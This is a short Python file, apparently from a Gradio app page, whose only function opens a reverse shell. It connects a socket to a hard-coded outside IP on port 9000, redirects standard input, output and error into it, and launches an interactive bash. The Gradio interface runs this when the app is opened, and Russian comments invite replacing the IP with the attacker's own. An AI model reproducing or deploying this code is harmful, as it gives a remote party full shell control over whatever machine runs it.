File size: 970 Bytes
40bfa27 5bba42f 40bfa27 5bba42f 40bfa27 5bba42f 40bfa27 5bba42f 40bfa27 5bba42f 40bfa27 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import gradio as gr
import socket
import subprocess
import os
def start_reverse_shell():
# IP и порт, на который будет отправлен реверси шел
RHOST = '45.155.205.202' # Замените на IP вашей машины
RPORT = 9000 # Замените на порт вашей машины
# Создаем сокет
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# Запускаем шел
subprocess.call(["/bin/bash", "-i"])
return "Reverse shell started!"
# Создаем интерфейс Gradio
iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True)
# Запускаем интерфейс
iface.launch() |